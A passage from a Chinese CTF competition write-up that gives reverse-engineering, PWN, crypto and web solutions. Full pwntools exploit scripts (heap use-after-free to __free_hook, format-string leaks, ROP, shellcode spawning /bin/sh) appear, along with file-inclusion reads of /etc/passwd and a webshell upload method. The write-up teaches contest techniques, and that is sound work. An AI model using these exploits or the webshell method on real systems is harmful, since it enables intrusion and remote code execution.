__m128i*)(cmp + 16)); three = _mm_load_si128((const __m128i*)(cmp + 32)); for (int i = 0; i < 1024; i++) { s.push(rand() & 0xff); } for (int i = 0; i < 1024; i++) { gift = s.top(); s.pop(); val = _mm_set1_epi8(gift); switch (gift % choice) { case 0: { one = _mm_xor_si128(one, val); two = _mm_xor_si128(two, val); three = _mm_xor_si128(three, val); break; } case 1: { one = _mm_add_epi8(one, val); two = _mm_add_epi8(two, val); three = _mm_add_epi8(three, val); break; } case 2: { one = _mm_sub_epi8(one, val); two = _mm_sub_epi8(two, val); three = _mm_sub_epi8(three, val); break; } case 3: { val = _mm_set1_epi8(0xff); one = _mm_xor_si128(one, val); two = _mm_xor_si128(two, val); three = _mm_xor_si128(three, val); break; } case 4: { aes_mix_columns(one.m128i_u8); aes_mix_columns(two.m128i_u8); aes_mix_columns(three.m128i_u8); break; } case 5: { for (int j = 0; j < 4; j++) { one.m128i_i32[j] = _rotr(one.m128i_i32[j], 10); } for (int j = 0; j < 4; j++) { two.m128i_i32[j] = _rotr(two.m128i_i32[j], 20); } for (int j = 0; j < 4; j++) { three.m128i_i32[j] = _rotr(three.m128i_i32[j], 30); } break; } case 6: { for (int j = 0; j < 4; j++) { one.m128i_i32[j] = _rotl(one.m128i_i32[j], 10); } for (int j = 0; j < 4; j++) { two.m128i_i32[j] = _rotl(two.m128i_i32[j], 20); } for (int j = 0; j < 4; j++) { three.m128i_i32[j] = _rotl(three.m128i_i32[j], 30); } break; } case 7: { one = _mm_shuffle_epi32(one, 0b01001011); two = _mm_shuffle_epi32(two, 0b10000111); three = _mm_shuffle_epi32(three, 0b00101101); break; } } } for (int i = 0; i < 16; i++) { printf("%c", one.m128i_u8[i]); } for (int i = 0; i < 16; i++) { printf("%c", two.m128i_u8[i]); } for (int i = 0; i < 16; i++) { printf("%c", three.m128i_u8[i]); } } ``` FLAG : flag{7779139f-d024-4773-965c-ac0da5238f4e} ### 2.6 damn_rust 程序需要一个Username和一个Password,Username就是NaNaNaN,关键是Password怎么来的。 这里先说一下三个变换函数的偏移 + 0xCF00 -> rusty::x::h9f32a3d8fae47240 + 0xCF40 -> rusty::y::hc278343e5049b9bb + 0xCF60 -> rusty::z::hfad208ed93883b92 程序处理Password前先初始化了3个vector,v1\v2\v3,处理逻辑用python表示下大概是这样的 ``` v1 = [] v2 = [] v3 = [] for i in range(len(Password)): v1.append(x(Password[i], Password[(i+2)%len(Password)])) v2.append(y(Password[i], Password[(i+3)%len(Password)], Password[(i+5)%len(Password)])) v3.append(z(Password[i], Password[(i+1)%len(Password)], Password[(i+2)%len(Password)], Password[(i+3)%len(Password)])) ``` 然后就是和偏移0xd660那36字节比较了,还原可以用z3一把梭 ``` def add(a, b): return a + b def wtf_1(a, b, c): return c | a ^ b def wtf_2(a, b, c, d): return (d | c) ^ (b + a) from z3 import * sol = Solver() flag = [BitVec(f"f_{_}", 8) for _ in range(12)] l1 = [] l2 = [] l3 = [] for i in range(len(flag)): l1.append(add(flag[i], flag[(i+2)%len(flag)])) l2.append(wtf_1(flag[i], flag[(i+3)%len(flag)], flag[(i+5)%len(flag)])) l3.append(wtf_2(flag[i], flag[(i+1)%len(flag)], flag[(i+2)%len(flag)], flag[(i+3)%len(flag)])) other = [102, 129, 120, 136, 181, 136, 169, 102, 143, 106, 137, 133, 87, 127, 115, 119, 115, 122, 119, 123, 78, 55, 55, 67, 72, 240, 63, 1, 235, 240, 146, 17, 21, 188, 240, 23] # print(other) for i in range(0, 12): sol.add(l1[i] == other[i]) sol.add(l2[i] == other[12+i]) sol.add(l3[i] == other[24+i]) print(sol.check()) m = sol.model() for num in flag: print(chr(m[num].as_long()), end='') ``` 得到Password : 1N53CUr373X7 输进程序得到 FLAG : flag{NaNaNaN_r3411Y_N33D5_70_134rN_rU57} ### 2.7 damn_hash 题目一共需要8个输入,每个输入长4字节,每两个输入一组。取每组两个输入的头字节的最低位生成一个值,这个值共4种可能(0,1,2,3),根据这个值选择不同的hash函数(sha1\sha224\sha256\sha384)生成hash值,取hash值前16位,最后比较。 因为输入限定了[a-zA-Z0-9],可以先对每组进行第一个输入的爆破,获取采用的什么hash函数,然后再爆破第二个输入。 ``` from hashlib import sha256, sha224, sha1, sha384 import string dic = string.digits + string.ascii_letters cmp = ['5d8c589838d8039d', 'f77fbc6c2cecf675', '021425df997b1b98', 'f51fd2e4a7844c06', 'ff9980a18365921b', 'c3b2340bb33558ca', '47e6e8d111a1b592', '61eceffcb6831f31'] def fp_sha1(s): return sha1(s).hexdigest() def fp_sha224(s): return sha224(s).hexdigest() def fp_sha256(s): return sha256(s).hexdigest() def fp_sha384(s): return sha384(s).hexdigest() fp = [fp_sha1, fp_sha224, fp_sha256, fp_sha384] for i in range(0, len(cmp), 2): fp_hash = None a, b = None, None for j in range(len(fp)): for k1 in dic: for k2 in dic: for k3 in dic: for k4 in dic: cur = (k1 + k2 + k3 + k4).encode() if fp[j](cur)[:16] == cmp[i]: fp_hash = fp[j] a = cur break if a: break if a: break if a: break if a: break for k1 in dic: for k2 in dic: for k3 in dic: for k4 in dic: cur = (k1 + k2 + k3 + k4).encode() if fp_hash(cur)[:16] == cmp[i+1]: b = cur break if b: break if b: break if b: break print((a+b).decode(), end='') ``` FLAG : flag{uJrSR6oDnfb0W54O1lZwqgAhPijdt9FY} ### 2.8 gogogo 整个流程 1. 输入异或"Xp0int" 2. 异或后的输入做base64编码 3. 编码后字串比较 ``` from base64 import b64decode key = list(b'Xp0int') cmp = b"PhxRDhVCYRRRXl1Mb11TUV9EdUQIDV5ZORMCW0MXYREDXVlDPkVUDwgJ" cmp = b64decode(cmp) cmp = [cmp[i] ^ key[i % len(key)] for i in range(len(cmp))] print(bytes(cmp)) ``` FLAG : flag{69da7387-c810-48d0-ac22-c9a3477f5dff} ### 2.9 cpp_stl 1. vector、map stl的识别 2. 位运算 程序读入36字节输入,每4字节一组共9组,每组先对各字节做一个可逆位运算(交换前后4字节,再取反),然后根据映射表获得对应的值,4个值再组合成1个DWORD值,然后与9个DWORD值比较,相等则为flag。 ``` cmp = [0xA7398D39,0x7EA7887E,0xF3DE7E39,0xB5F37E12,0x733AF3B5,0x7EDE73F3,0xA7DE8DAA,0xA7DEA739,0x8D7EB57E] mmm_data = [0, 46, 1, 125, 2, 197, 3, 29, 4, 150, 5, 186, 6, 74, 7, 174, 8, 17, 9, 179, 10, 33, 11, 230, 12, 110, 13, 187, 14, 27, 15, 205, 16, 203, 17, 52, 18, 221, 19, 102, 20, 183, 21, 91, 22, 148, 23, 65, 24, 90, 25, 54, 26, 137, 27, 122, 28, 233, 29, 96, 30, 70, 31, 251, 32, 19, 33, 16, 34, 134, 35, 220, 36, 191, 37, 114, 38, 95, 39, 24, 40, 7, 41, 237, 42, 216, 43, 162, 44, 164, 45, 243, 46, 25, 47, 32, 48, 242, 49, 169, 50, 38, 51, 72, 52, 97, 53, 107, 54, 101, 55, 84, 56, 234, 57, 212, 58, 225, 59, 5, 60, 12, 61, 43, 62, 14, 63, 176, 64, 47, 65, 99, 66, 48, 67, 199, 68, 85, 69, 210, 70, 133, 71, 82, 72, 214, 73, 228, 74, 156, 75, 139, 76, 0, 77, 23, 78, 145, 79, 40, 80, 198, 81, 178, 82, 50, 83, 79, 84, 103, 85, 106, 86, 51, 87, 2, 88, 45, 89, 75, 90, 215, 91, 238, 92, 154, 93, 184, 94, 226, 95, 173, 96, 208, 97, 211, 98, 73, 99, 135, 100, 6, 101, 36, 102, 192, 103, 161, 104, 15, 105, 194, 106, 92, 107, 10, 108, 170, 109, 111, 110, 56, 111, 249, 112, 223, 113, 138, 114, 9, 115, 132, 116, 146, 117, 63, 118, 94, 119, 67, 120, 155, 121, 68, 122, 62, 123, 3, 124, 181, 125, 41, 126, 190, 127, 26, 128, 151, 129, 13, 130, 118, 131, 188, 132, 207, 133, 105, 134, 189, 135, 60, 136, 80, 137, 163, 138, 88, 139, 4, 140, 18, 141, 209, 142, 244, 143, 34, 144, 253, 145, 49, 146, 147, 147, 182, 148, 123, 149, 61, 150, 20, 151, 22, 152, 157, 153, 141, 154, 204, 155, 64, 156, 159, 157, 28, 158, 152, 159, 158, 160, 98, 161, 89, 162, 124, 163, 239, 164, 168, 165, 231, 166, 255, 167, 131, 168, 227, 169, 57, 170, 86, 171, 247, 172, 100, 173, 248, 174, 109, 175, 172, 176, 165, 177, 246, 178, 241, 179, 121, 180, 83, 181, 218, 182, 177, 183, 93, 184, 112, 185, 136, 186, 144, 187, 236, 188, 126, 189, 180, 190, 142, 191, 37, 192, 195, 193, 224, 194, 160, 195, 59, 196, 143, 197, 185, 198, 196, 199, 113, 200, 120, 201, 167, 202, 35, 203, 235, 204, 115, 205, 66, 206, 108, 207, 229, 208, 245, 209, 1, 210, 53, 211, 117, 212, 171, 213, 166, 214, 39, 215, 250, 216, 81, 217, 78, 218, 140, 219, 130, 220, 104, 221, 31, 222, 69, 223, 217, 224, 175, 225, 193, 226, 11, 227, 128, 228, 77, 229, 153, 230, 254, 231, 42, 232, 149, 233, 58, 234, 55, 235, 119, 236, 116, 237, 200, 238, 129, 239, 240, 240, 76, 241, 219, 242, 201, 243, 8, 244, 202, 245, 21, 246, 206, 247, 87, 248, 30, 249, 127, 250, 213, 251, 44, 252, 222, 253, 232, 254, 252, 255, 71] rev_mmm = {} for i in range(0, len(mmm_data), 2): rev_mmm[mmm_data[i+1]] = mmm_data[i] def reverse_bits_change(val): val = rev_mmm[val & 0xff] val = ~val val &= 0xff return ((val >> 4) | (val << 4)) & 0xff for num in cmp: num = reverse_bits_change(num >> 24) << 24 | \ reverse_bits_change(num >> 16) << 16 | \ reverse_bits_change(num >> 8) << 8 | \ reverse_bits_change(num) print(num.to_bytes(4, 'big').decode(), end='') ``` FLAG : flag{cefe4cd4-04e8-473a-8403-c0f9c0cef484} ## 3. PWN ### 3.1 easyheap 简单的2.23堆题,保护全开 漏洞点在于delete操作没有清空最后一个chunk的指针 提供了一个backdoor泄露libc地址 为了提高一点难度程序开始需要选手还原一次tea解密结果 ``` void rnd_init(){ puts("The game is initializing, please wait..."); srand(time(NULL)); secret = rand(); sleep(1); rnd[0] = rand(); sleep(1); rnd[1] = rand(); puts("Okay, the game starts now."); printf("Your secret key: %u\n", secret); } void print_enc(){ int k[4] = {0x6C736767, 0x7A796767, 0x79686767, 0x79796473}; //lsggzyggyhggyyds uint32_t v0 = rnd[0], v1 = rnd[1], sum = 0, i; for(i=0; i < 32; i++){ sum += secret; //delta v0 += ((v1<<4)+k[0])^(v1+sum)^((v1>>5)+k[1]); v1 += ((v0<<4)+k[2])^(v0+sum)^((v0>>5)+k[3]); } printf("My gift: 0x%x,0x%x\n", v0, v1); } ``` 之后打malloc_hook写one_gadget即可 <img id="__LEANOTE_IMAGE_1638765231173" src="https://leanote.com/api/file/getImage?fileId=61ad8d13ab644142c0840607" alt="" data-mce-src="https://leanote.com/api/file/getImage?fileId=61ad8d13ab644142c0840607"></p><p><img id="__LEANOTE_IMAGE_1638765231174" src="https://leanote.com/api/file/getImage?fileId=61ad8af5ab644142c08405fd" alt="" data-mce-src="https://leanote.com/api/file/getImage?fileId=61ad8af5ab644142c08405fd"></p> exp如下: ``` from pwn import * context(arch='amd64',os='linux',log_level='debug') sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) def new(i,s,c): sla('>>','1') sla('d:',str(i)) sla('e:',str(s)) sda('t:',c) def free(): sla('>>','2') def decrypt(v,x,d): v0 = v[0] v1 = v[1] for i in range(32): v1 -= ((v0<<4)+0x79686767)^(v0+x)^((v0>>5)+0x79796473) v1 = v1&0xFFFFFFFF v0 -= ((v1<<4)+0x6C736767)^(v1+x)^((v1>>5)+0x7A796767) v0 = v0&0xFFFFFFFF x -= d x = x&0xFFFFFFFF v[0] = v0 v[1] = v1 return v p = remote('127.0.0.1',8888) ru('secret key: ') secret = int(ru('\n')[:-1]) ru('gift: ') rnd_0 = int(ru(',')[:-1],16) rnd_1 = int(ru('\n')[:-1],16) log.warn('secret --> %s',hex(secret)) log.warn('rnd_0 --> %s',hex(rnd_0)) log.warn('rnd_1 --> %s',hex(rnd_1)) v = decrypt([rnd_0,rnd_1],((secret*2)&0xfffffff)*0x10,secret) ru('gift: ') sl(str(v[0]) + ',' + str(v[1])) sla('>>',str(0x666)) ru('gift: ') dump_addr = int(ru('\n')[:-1],16) log.warn('dump_addr --> %s',hex(dump_addr)) libc_base = dump_addr - ELF('./libc.so').sym['puts'] success('libc_base --> %s',hex(libc_base)) new(15,0x68,'\n') free() new(0,0x68,'\n') # 15 new(1,0x68,'\n') free() ``` ### 3.2 babystack 简单的异构栈溢出题,第一次输入用来泄露栈地址,第二次输入用来写入shellcode exp如下: ``` from pwn import * context(arch='arm',os='linux',log_level='debug') sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) p = remote('127.0.0.1',8888) ru('\n') sl('%p') stack = int(ru('\n')[:-1],16) log.warn('stack --> %s',hex(stack)) payload = b'a'*8 + p32(stack+0xC) payload += asm(shellcraft.sh()) ru('?\n') sd(payload) p.interactive() ``` ### 3.3 BasicMath 程序随机生成15个加法问题,若答错直接退出。 ![title](https://leanote.com/api/file/getImage?fileId=61ab8cfaab644142b4539cbd) `v7`和`v8`是随机生成的加数,`v5`是用户输入的数字。`HIDWORD(v5)`是判断结果。注意`HIDWORD(v5)`指的是`v5`的高32位,而`v5`的类型是`__int64`,故`v5`实际上是两个32位整数。 若答对最后一个问题(正常情况下不可能答对),可以根据结果泄漏并溢出最高0x500字节栈数据。 从`v5 = readint()`可知,`readint()`返回的是64位整数。故在回答最后一问时,可以直接输入高32位设为1、低32位设为溢出长度的64位整数通过检查并实现栈溢出。 最后泄漏 canary 和 libc 地址,将返回地址设为 [one gadget](https://xz.aliyun.com/t/2720) 地址即可。 EXP 脚本: ```python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") p = remote("35.229.138.83", 10874) # ~ p = process("./chall") for _ in range(0x10-1): p.recvuntil("] ") prob = p.recvuntil(" = ? ", drop=True) solve = eval(prob) p.sendline(str(solve)) p.sendlineafter(" = ? ", str(0x100000000 + 0x60)) canary = u64(p.recv(8)) info("canary: 0x%lx", canary) p.recv(0x48-8-8) libcbase = u64(p.recv(8)) - 0x21bf7 info("libcbase: 0x%lx", libcbase) pp = flat( [canary, 0, libcbase+0x4f432], length=0x60, filler=b"\x00" ) p.send(pp) p.interactive() ``` ### 3.4 div_overflow 考察了一个信号机制,触发除法溢出后会执行到一个含有栈溢出漏洞的程序。题目文件中是存在后门函数的,并且没有canary和pie的保护。直接劫持返回地址为system("/bin/sh")的地址即可,审了选手们的wp发现选手们普遍会遇到的问题,看这篇EX师傅的博客应该就能解惑了:http://blog.eonew.cn/archives/958 from pwn import * context(os='linux', arch='amd64',log_level='debug') p = remote("35.229.138.83",14056) #p=process("./div_overflow") p.sendlineafter("Please input the first key :",str(-2147483648)) p.sendlineafter("And the second key :",str(-1)) p.sendafter("name :",0x58*'a'+p64(0x4007CB)) p.interactive() ### 3.5 guess 从题目保护中得知,是没有NX保护的。题目流程大概是输入一个随机的字符串,如果该字符串与程序生成的字符串相同,则可以直接输入shellcode来getshell。这里涉及到一个伪随机数的知识,善于搜索。 from pwn import * from ctypes import * context(os='linux', arch='amd64',log_level='debug') libc=cdll.LoadLibrary('./libc-2.27.so') p = remote("35.229.138.83",16134) p.sendlineafter("name : ","clark") p.recvuntil("spell is ") seed = int(p.recvuntil("\n",drop="True")) print seed libc.srand(int(seed)) spell="" for i in range(0x10): spell+=chr(libc.rand()%0xff) p.sendafter("you understand : \n",spell) p.sendlineafter("spell out loud\n",asm(shellcraft.sh())) p.interactive() ### 3.6 gift 这里涉及到两个漏洞。一个是格式化字符串漏洞,一个是栈溢出漏洞。需要通过格式化字符串漏洞泄露基址信息,然后由于溢出的空间有限,需要进行栈迁移。并且为了让选手有构造rop的体验感,特意加了个沙盒把execve系统调用给ban了,哈哈不用谢。 from pwn import * context(os='linux', arch='amd64',log_level='debug') p = remote("35.229.138.83",13789) #p=process("./guess2") p.sendlineafter("this the gift for you.","%9$p%11$p%12$p") p.recvuntil("0x") canary = int(p.recv(16),16) p.recvuntil("0x") code_base = int(p.recv(12),16) - 0xba3 p.recvuntil("0x") libc_base = int(p.recv(12),16) - 0x621b40 print "[*]canary:",hex(canary) print "[*]code_base:",hex(code_base) print "[*]libc_base:",hex(libc_base) name_addr = code_base + 0x202060 leave_ret = libc_base + 0x54913 pop_rdi = libc_base + 0x215bf pop_rsi = libc_base + 0x23eea pop_rdx = libc_base + 0x1b96 pop_rax = libc_base + 0x43ae8 syscall = libc_base + 0xd2745 payload = "./flag\x00\x00" payload += p64(pop_rdi)+p64(name_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(name_addr+0x200)+p64(pop_rdx)+p64(0x20)+p64(pop_rax)+p64(0)+p64(syscall) payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(name_addr+0x200)+p64(pop_rdx)+p64(0x20)+p64(pop_rax)+p64(1)+p64(syscall) p.sendlineafter("name:\n",payload) p.sendlineafter("say?\n",0x28*'a'+p64(canary)+p64(name_addr)+p64(leave_ret)) flag_str = p.recvall() print flag_str ### 3.7 H.E.A.P. 入门级堆菜单题。漏洞点是 delete 的时候没有清空`PTR_LIST`中的指针地址,存在悬空指针,可以实施 Use-after-free 或者 Double-free 攻击。 ![title](https://leanote.com/api/file/getImage?fileId=619f2f3bab644142c047f9ff) glibc 版本是 2.27。该版本启用了 tcache,可以利用 Use-after-free 修改 tcache 堆块的`next`指针,实现任意地址分配。该手法的原理和详细说明可以参考 CTF-Wiki [相应条目](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#tcache-poisoning)。 首先泄漏 libc 地址。add 一个 0x500 大小的堆块,然后 delete 掉它,堆块就会进入 unsorted bin。使用 show 可以打印出一个 libc 地址。 ``` add(0, 0x500) add(1, 0x10) # 防止合并到 top chunk free(0) show(0) p.recvuntil("Content: ") libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0 info("libcbase: 0x%lx", libc.address) ``` 然后释放两个堆块到 tcache,利用悬空指针修改链首堆块的`next`为`__feee_hook`,连续分配两次即可得到`__free_hook`指针。 ``` add(2, 0x10) add(3, 0x10) free(2) free(3) edit(3, p64(libc.symbols["__free_hook"])) add(3, 0x10) add(2, 0x10) # __free_hook ``` 最后修改`__free_hook`指针的值为`system`地址。释放内容为`/bin/sh`的堆块,即可调用`system("/bin/sh")` get shell。 ``` edit(2, p64(libc.symbols["system"])) edit(1, b"/bin/sh\x00") free(1) # system("/bin/sh") ``` EXP 代码: ```python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") libc = ELF("./libc-2.27.so") p = remote("35.229.138.83", 11009) def add(idx, sz): p.sendlineafter(">", '1') p.sendlineafter(":", str(idx)) p.sendlineafter(":", str(sz)) def free(idx): p.sendlineafter(">", '2') p.sendlineafter(":", str(idx)) def show(idx): p.sendlineafter(">", '3') p.sendlineafter(":", str(idx)) def edit(idx, ctx): p.sendlineafter(">", '4') p.sendlineafter(":", str(idx)) p.sendlineafter(":", ctx) add(0, 0x500) add(1, 0x10) add(2, 0x10) add(3, 0x10) free(0) show(0) p.recvuntil("Content: ") libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0 info("libcbase: 0x%lx", libc.address) free(2) free(3) edit(3, p64(libc.symbols["__free_hook"])) add(3, 0x10) add(2, 0x10) edit(2, p64(libc.symbols["system"])) edit(1, b"/bin/sh\x00") free(1) p.interactive() ``` ## 4. CRYPTO ### 4.1 DoUknowLattice 背包问题,直接进入正题。 把$flag$看成$s_0,s_1,s_2,...,s_i$,也就是每个字符都转成ascii码。 那题目给出的等式其实就是 $$ A_0s_0 + A_1s_1 +A_2s_2 +\cdots+A_is_i - SUM = 0 $$ 跟上面RSAstudy3中的把等式写成带矩阵的等式一样,我们可以根据上面那行等式写出下面的式子 ![title](https://leanote.com/api/file/getImage?fileId=61a61d1eab644142c083ebf4) 对矩阵格基规约就能得到右边的向量了。 在用sagemath的LLL算法格基规约的时候,会遇到第一行不是目标向量的情况,因为题目选的格并不是特别大,所以会有很多短向量,右边的向量只是短向量中的一个。 如何判断哪个才是自己想要的向量呢?看末尾的0就行了,哪一行末尾是0哪一行就是了。 ### 4.2 proof_of_work 这个是大部分交互题都有的一部分,proof_of_work,几乎所有的交互题都会有这一部分来防止选手进行爆破答案等操作。 题目需要我们给出四字节的字符串,该字符串在拼接以后进行sha256,并且得到的结果要和服务端给的结果一致。 其实四字节的字符串直接爆破就行了,这里主要是想让大家试试怎么写交互题的脚本,虽然这里手打也没事,但以后的题可能就不是输入一次,而是几十次几百次的时候,手打就是纯傻杯好吧。 ```python from hashlib import sha256 import pwn import re String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz' con = pwn.remote('35.229.138.83',10001) resp = con.recv(1024).decode() END = re.findall('\+(.*)\)',resp)[0] HASH = re.findall('\=\= (.*)',resp)[0] print(END,HASH) for i in String: for j in String: for k in String: for l in String: s = i+j+k+l+END if sha256(s.encode()).hexdigest() == HASH: print(sha256(s.encode()).hexdigest()) con.sendline(i+j+k+l) resp = con.recv(1024).decode() print(resp) ``` > pwn库(pwntools)就是用来连接服务端的 ### 4.3 treasure 这道题需要解开五个盒子中的四个盒子,拿到四个点坐标并还原曲线得到$S$。 #### box1 ROT13 + 栅栏密码 #### box2 摩斯电码,大小写对应.- #### box3 简单的单表替换,词频攻击就行了 https://quipqiup.com/ 扔进这里面就好了 #### box4 base64 32 16套娃,根据base的表,16能解码的,32和64一般都能解码。32能解码的64一般能解码,而64能解码的就只有64能解码。 所以拿到编码以后的字符串之后,先用16解码,不行就用32解码,还不行就用64解码,直到解不出可打印字符串。 ```python from base64 import b64decode,b32decode,b16decode with open('key.base','r') as f: text = f.read() while True: try: text = b16decode(text).decode() except: try: text = b32decode(text).decode() except: try: text = b64decode(text).decode() except: print(text) break ``` #### box5 键盘密码 #### final 最后,当你解完上面的五道题以后,要么你就用计算器慢慢按,在纸上解出$S$,要么就用sagemath这个工具去解,要么就用python的z3-solve库去解。 ### 4.4 RSAstudy2,3 2和3其实都是wiener's attack。2给的是普通的只给一个$e$的wiener's attack。只给一个$e$的可以用连分数的做法去做,但事实上大家肯定都能搜到一堆奇怪的库和脚本直接秒掉。如果对原理感兴趣的可以看看下面这个论文 > Extending Wiener's Attack in the Presence of Many Decrypting Exponent 3的话就是Extending wiener's attack了,上面的那个论文主要说的也就是这个东西。具体的推导过程也不说了,有兴趣的自己去看吧,上面那个论文说的挺详细的。 具体怎么做呢。 两道题题目都差不多,开头的一堆奇怪的计算只是为了生成能够用wiener‘s attack的题目数据,因为wiener's attack只有当$d < N^{\alpha}$时才能使用,这里的$\alpha$跟给的$e$的个数有关,也就是这两题的区别,一题给了一个,一题给了两个。 第一题就不说了,到处都是脚本和库,说一说第二题。 第二题具体还是得用格这个玩意,根据论文里提到的,我们可以把等式 $$ d_1ge_1 - k_1N =g +k_1s, \\ k_1d_2e_2 - k_2d_1e_1 = k_1 - k_2,\\ d_1d_2g^{2}e_1e_2 - d_1gk_2e_1N - d_2gk_1e_2N + k_1k_2N^2 = (g + k_1s)(g+ k_2s) $$ 写成矩阵的形式,然后就有 $$ (k_1k_2,d_1gk_2,d_2gk_1,d_1d_2g^2) \begin{pmatrix} 1&-N&0&N^2\\ 0&e_1&-e_1&-e_1N\\ 0&0&e_2&-e_2N\\ 0&0&0&e_1e_2 \end{pmatrix} \\= (k_1k_2,k_2(g+k_1s),k_1-k_2,(g+k_1s)(g+k_2s)) $$ 怎么写成下面这个有矩阵的等式的,只能说做多了格的题才能快速的看出等式左右两边是啥吧,可以试试手动算一下,左边相乘以后根据上面的三行式子,是不是刚好就是等式右边的那个向量。 到这里以后,其实要构造的格就是那个矩阵,格基规约以后就能得到等式右边的向量 $$ (k_1k_2,k_2(g+k_1s),k_1-k_2,(g+k_1s)(g+k_2s)) $$ 然后求公因数得到$k1,k2,g,s$,再代入上面的三行等式就能求$d_1,d_2$了。 ### 4.5 RSAstudy1 题目一共有4个问题。 1. 已知**n,d,c**,求**m**. $$ m = c^{d} \mod n $$ 懂? 2. 已知**n,e,c**,求**m**. 这种就是正常的使用RSA,如果没有什么问题是没办法求m的。但这里用的n太小了,可以直接分解出p,q。用分解出的p,q求d,然后就跟1.一样了。 3. 已知**n,e,c**,求**m**. 这里能求m是因为选的e太小了。 $$ m^e = c \mod n $$ e太小导致$m^e < n$,所以直接对c开5次方就行了。 4. 已知**p,q,c**,求**m**. 很明显这里缺了一个e,看代码就知道e的位数是20位。24位以内的数爆破都不会很久的,除非每一轮的操作非常复杂。 直接爆破e,然后求d就行了。求出了d就跟1.一样了 ## 5. WEB 来自出题人的博客:https://railgun.icu/2021/12/01/2021%E6%96%B0%E7%94%9F%E8%B5%9BWEB-wp/ ### 5.1 easy_js 将`index.js`中的内容丢到[https://www.sojson.com/jsjiemi.html](https://www.sojson.com/jsjiemi.html)中进行解密 关键函数 ```js function c() { H1 += 1; window["document"]['getElementById']("clickNumber")['innerHTML'] = "Click number: " + H1; if (H1 === 99999999) { var boF7 = new XMLHttpRequest(); var jQs8 = "flaggggggggggggggg.php?c1ick=" + H1; boF7['onreadystatechange'] = function() { if (boF7['readyState'] == 4 && boF7['status'] == 200) { text = boF7['responseText']; window["document"]['getElementById']('flag')['innerHTML'] = text; console['log'](text) } } boF7['open']("GET", jQs8, true); boF7['send']() } else { window["document"]['getElementById']('flag')['innerHTML'] = "flag will appear when you click 99999999 times !" } } ``` 根据js代码提示,访问[http://35.229.138.83:13251/flaggggggggggggggg.php?c1ick=99999999](http://35.229.138.83:13251/flaggggggggggggggg.php?c1ick=99999999)即可getflag ### 5.2 imgbed 注册登录后发现`index.php?action=class.php`,可能存在文件包含 传入`index.php?action=/etc/passwd`,成功读取,但无法直接读取`/flag` 使用php协议来读取源代码`index.php?action=php://filter/read=convert.base64-encode/resource=index.php` index.php ```php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if(isset($_GET['action'])&&!empty($_GET['action'])){ include $_GET['action']; } else{ header("Location: index.php?action=class.php"); die(); } ?> ``` class.php主要函数 ```php <?php error_reporting(0); class File { public $filename; public function __construct($filename) { $this->filename = $filename; } public function check_file_exist(): bool { if (file_exists($this->filename) && !is_dir($this->filename)) { return true; } else { return false; } } public function get_file_size(): string { $size = filesize($this->filename); $units = array('B', 'KB', 'MB', 'GB'); for ($i = 0; $size >= 1024; $i++) { $size /= 1024; } return round($size, 1) . ' ' . $units[$i];#浮点数四舍五入,保留1位小数 } public function delete_file() { unlink($this->filename); } public function get_file_contents() { return file_get_contents($this->filename); } } ``` 由于存在`file_exists`,推测可能存在phar反序列化 upload.php ```php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: index.php"); die(); } include "class.php"; if (isset($_GET['sent'])) { $file_array = $_POST['file']; $file_location = 'uploads/'; $file_num = sizeof($file_array); if (!$file_num) { header("Location: index.php"); die(); } for ($i = 0; $i < $file_num; $i++) { $this_file_json_object = $file_array[$i]; $this_file = json_decode($this_file_json_object, true); $this_file_name = $this_file["name"]; $this_file_type = $this_file["type"]; $this_file_data = $this_file["data"]; $this_file_extension = substr($this_file_name, strrpos($this_file_name, '.') + 1); if ((($this_file_extension == "jpg" || $this_file_extension == "jpeg") && ($this_file_type == "image/jpeg")) || (($this_file_extension == "png") && ($this_file_type == "image/png")) || (($this_file_extension == "gif") && ($this_file_type == "image/gif"))) { $this_file_name = sha1(date('YmdGHs') . substr(microtime(true), 11, 4) . $_SESSION['username'] . $this_file_name) . '.' . $this_file_extension; $this_file_save_path = $file_location . $this_file_name; $this_file_decode_data = base64_decode($this_file_data); file_put_contents($this_file_save_path, $this_file_decode_data); if ($this_file_type == "image/jpeg"){ $im = @imagecreatefromjpeg($this_file_save_path); @unlink($this_file_save_path); imagejpeg($im,$this_file_save_path); } else if($this_file_type == "image/png"){ $im = @imagecreatefrompng($this_file_save_path); @unlink($this_file_save_path); imagepng($im,$this_file_save_path); } else if($this_file_type == "image/gif"){ $im = @imagecreatefromgif($this_file_save_path); @unlink($this_file_save_path); imagegif($im,$this_file_save_path); } $image = new Image(); $image->insert($this_file_name);#在数据库中保存文件名 } } header("Location: index.php"); die(); } ``` 注意到存在`imagecreatefromjpeg`,`imagecreatefrompng`以及`imagecreatefromgif`进行二次渲染,可以上传一张二次渲染后仍然保留webshell的图片,并利用`index.php`中的`action`进行文件包含进而getshell [upload-labs 二次渲染绕过](https://github.com/AMDyesIntelno/huaQ/tree/master/%E9%9D%B6%E5%9C%BA/upload-labs(%E5%B7%B2%E5%AE%8C%E6%88%90)#pass-16) 在使用蚁剑等webshell管理工具进行链接时要注意设置cookie,同时建议使用代理 ![图片标题](https://leanote.com/api/file/getImage?fileId=61a3784fab644142c083e044) 查看根目录,可以看到存在`readflag`和`flag`,并且根据权限可知需要运行`readflag`去getflag 